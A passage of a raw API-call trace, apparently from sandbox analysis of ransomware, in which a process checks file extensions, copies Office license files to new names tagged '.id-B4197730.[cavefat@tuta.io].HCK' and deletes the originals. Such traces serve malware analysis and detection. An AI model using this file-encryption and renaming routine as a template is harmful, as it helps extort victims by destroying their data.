5 [0237.713] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0237.713] lstrlenW (lpString=".pdf") returned 4 [0237.713] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0237.713] lstrlenW (lpString=".xls") returned 4 [0237.713] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0237.713] lstrlenW (lpString=".xlsx") returned 5 [0237.713] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0237.714] lstrlenW (lpString=".ppt") returned 4 [0237.714] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0237.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0237.714] lstrlenW (lpString=".zip") returned 4 [0237.714] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0237.714] lstrlenW (lpString=".rar") returned 4 [0237.714] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0237.714] lstrlenW (lpString=".bz2") returned 4 [0237.714] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0237.714] lstrlenW (lpString=".7z") returned 3 [0237.714] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0237.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0237.714] lstrlenW (lpString=".dbf") returned 4 [0237.714] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0237.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0237.714] lstrlenW (lpString=".1cd") returned 4 [0237.714] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0237.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0237.714] lstrlenW (lpString=".jpg") returned 4 [0237.714] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0237.714] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0237.714] lstrlenW (lpString="HomeBusinessR_Grace-ppd.xrm-ms") returned 30 [0237.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0237.715] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=22033) returned 1 [0237.715] CloseHandle (hObject=0x4a0) returned 1 [0237.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms")) returned 0x220 [0237.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0237.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0237.716] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.716] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0237.717] GetLastError () returned 0x0 [0237.717] ReadFile (in: hFile=0x4a0, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x5611, lpOverlapped=0x0) returned 1 [0237.718] WriteFile (in: hFile=0x568, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x5620, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x5620, lpOverlapped=0x0) returned 1 [0237.719] ReadFile (in: hFile=0x4a0, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0237.719] WriteFile (in: hFile=0x568, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x110, lpOverlapped=0x0) returned 1 [0237.720] SetEndOfFile (hFile=0x568) returned 1 [0237.720] CloseHandle (hObject=0x568) returned 1 [0237.720] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.720] SetEndOfFile (hFile=0x4a0) returned 1 [0237.722] CloseHandle (hObject=0x4a0) returned 1 [0237.722] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0237.723] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms")) returned 1 [0237.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0237.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0237.723] lstrlenW (lpString=".doc") returned 4 [0237.723] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0237.723] lstrlenW (lpString=".docx") returned 5 [0237.723] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0237.723] lstrlenW (lpString=".pdf") returned 4 [0237.723] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0237.724] lstrlenW (lpString=".xls") returned 4 [0237.724] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0237.724] lstrlenW (lpString=".xlsx") returned 5 [0237.724] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0237.724] lstrlenW (lpString=".ppt") returned 4 [0237.724] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0237.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0237.724] lstrlenW (lpString=".zip") returned 4 [0237.724] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0237.724] lstrlenW (lpString=".rar") returned 4 [0237.724] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0237.724] lstrlenW (lpString=".bz2") returned 4 [0237.724] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0237.724] lstrlenW (lpString=".7z") returned 3 [0237.724] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0237.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0237.724] lstrlenW (lpString=".dbf") returned 4 [0237.724] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0237.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0237.724] lstrlenW (lpString=".1cd") returned 4 [0237.724] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0237.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0237.724] lstrlenW (lpString=".jpg") returned 4 [0237.724] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0237.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0237.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0237.724] lstrlenW (lpString=".doc") returned 4 [0237.724] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0237.724] lstrlenW (lpString=".docx") returned 5 [0237.724] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0237.724] lstrlenW (lpString=".pdf") returned 4 [0237.724] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0237.724] lstrlenW (lpString=".xls") returned 4 [0237.724] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0237.724] lstrlenW (lpString=".xlsx") returned 5 [0237.724] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0237.724] lstrlenW (lpString=".ppt") returned 4 [0237.724] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0237.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0237.724] lstrlenW (lpString=".zip") returned 4 [0237.724] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0237.724] lstrlenW (lpString=".rar") returned 4 [0237.724] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0237.724] lstrlenW (lpString=".bz2") returned 4 [0237.724] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0237.724] lstrlenW (lpString=".7z") returned 3 [0237.725] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0237.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0237.725] lstrlenW (lpString=".dbf") returned 4 [0237.725] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0237.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0237.725] lstrlenW (lpString=".1cd") returned 4 [0237.725] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0237.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0237.725] lstrlenW (lpString=".jpg") returned 4 [0237.725] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0237.725] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0237.725] lstrlenW (lpString="HomeBusinessR_Grace-ul-oob.xrm-ms") returned 33 [0237.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0237.726] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=11624) returned 1 [0237.726] CloseHandle (hObject=0x4a0) returned 1 [0237.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms")) returned 0x220 [0237.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0237.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0237.726] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.726] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0237.727] GetLastError () returned 0x0 [0237.727] ReadFile (in: hFile=0x4a0, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x2d68, lpOverlapped=0x0) returned 1 [0237.729] WriteFile (in: hFile=0x568, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0237.729] ReadFile (in: hFile=0x4a0, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0237.730] WriteFile (in: hFile=0x568, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x116, lpOverlapped=0x0) returned 1 [0237.730] SetEndOfFile (hFile=0x568) returned 1 [0237.730] CloseHandle (hObject=0x568) returned 1 [0237.730] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.875] SetEndOfFile (hFile=0x4a0) returned 1 [0237.877] CloseHandle (hObject=0x4a0) returned 1 [0237.877] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0238.113] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms")) returned 1 [0238.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0238.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0238.449] lstrlenW (lpString=".doc") returned 4 [0238.449] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.449] lstrlenW (lpString=".docx") returned 5 [0238.449] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.449] lstrlenW (lpString=".pdf") returned 4 [0238.449] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.449] lstrlenW (lpString=".xls") returned 4 [0238.449] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.449] lstrlenW (lpString=".xlsx") returned 5 [0238.449] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.449] lstrlenW (lpString=".ppt") returned 4 [0238.449] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0238.449] lstrlenW (lpString=".zip") returned 4 [0238.449] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.449] lstrlenW (lpString=".rar") returned 4 [0238.449] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.449] lstrlenW (lpString=".bz2") returned 4 [0238.449] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.449] lstrlenW (lpString=".7z") returned 3 [0238.449] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0238.449] lstrlenW (lpString=".dbf") returned 4 [0238.449] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0238.449] lstrlenW (lpString=".1cd") returned 4 [0238.449] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0238.449] lstrlenW (lpString=".jpg") returned 4 [0238.449] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0238.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0238.449] lstrlenW (lpString=".doc") returned 4 [0238.449] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.449] lstrlenW (lpString=".docx") returned 5 [0238.449] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.449] lstrlenW (lpString=".pdf") returned 4 [0238.449] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.449] lstrlenW (lpString=".xls") returned 4 [0238.449] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.449] lstrlenW (lpString=".xlsx") returned 5 [0238.449] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.449] lstrlenW (lpString=".ppt") returned 4 [0238.449] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0238.450] lstrlenW (lpString=".zip") returned 4 [0238.450] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.450] lstrlenW (lpString=".rar") returned 4 [0238.450] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.450] lstrlenW (lpString=".bz2") returned 4 [0238.450] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.450] lstrlenW (lpString=".7z") returned 3 [0238.450] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0238.450] lstrlenW (lpString=".dbf") returned 4 [0238.450] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0238.450] lstrlenW (lpString=".1cd") returned 4 [0238.450] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0238.450] lstrlenW (lpString=".jpg") returned 4 [0238.450] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.450] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0238.450] lstrlenW (lpString="HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 37 [0238.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0238.451] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=11621) returned 1 [0238.451] CloseHandle (hObject=0x4d4) returned 1 [0238.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms")) returned 0x220 [0238.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0238.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0238.452] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.452] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0238.453] GetLastError () returned 0x0 [0238.453] ReadFile (in: hFile=0x4d4, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x2d65, lpOverlapped=0x0) returned 1 [0238.460] WriteFile (in: hFile=0x4ac, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0238.461] ReadFile (in: hFile=0x4d4, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0238.461] WriteFile (in: hFile=0x4ac, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x11e, lpOverlapped=0x0) returned 1 [0238.461] SetEndOfFile (hFile=0x4ac) returned 1 [0238.462] CloseHandle (hObject=0x4ac) returned 1 [0238.462] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.462] SetEndOfFile (hFile=0x4d4) returned 1 [0238.464] CloseHandle (hObject=0x4d4) returned 1 [0238.464] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0238.464] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms")) returned 1 [0238.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0238.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0238.465] lstrlenW (lpString=".doc") returned 4 [0238.465] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.465] lstrlenW (lpString=".docx") returned 5 [0238.465] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.465] lstrlenW (lpString=".pdf") returned 4 [0238.465] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.465] lstrlenW (lpString=".xls") returned 4 [0238.466] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.466] lstrlenW (lpString=".xlsx") returned 5 [0238.466] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.466] lstrlenW (lpString=".ppt") returned 4 [0238.466] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0238.466] lstrlenW (lpString=".zip") returned 4 [0238.466] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.466] lstrlenW (lpString=".rar") returned 4 [0238.466] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.466] lstrlenW (lpString=".bz2") returned 4 [0238.466] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.466] lstrlenW (lpString=".7z") returned 3 [0238.466] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0238.466] lstrlenW (lpString=".dbf") returned 4 